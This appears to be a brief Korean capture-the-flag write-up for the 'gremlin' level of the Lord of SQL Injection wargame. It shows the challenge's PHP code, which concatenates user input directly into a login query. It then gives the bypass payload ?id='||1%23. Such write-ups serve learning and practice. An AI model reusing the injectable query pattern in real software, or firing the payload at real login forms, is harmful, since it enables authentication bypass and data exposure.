los(lord of sql) level 1 - gremlin

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query : select id from prob_gremlin where id='' and pw=''

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<?php
  include "./config.php";
  login_chk();
  dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); // do not try to attack another table, database!
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  $query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysql_fetch_array(mysql_query($query));
  if($result['id']) solve("gremlin");
  highlight_file(__FILE__);
?>




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if($result['id']) solve("gremlin");

이 부분만 통과하면 문제가 풀립니당

?id='||1%23

payload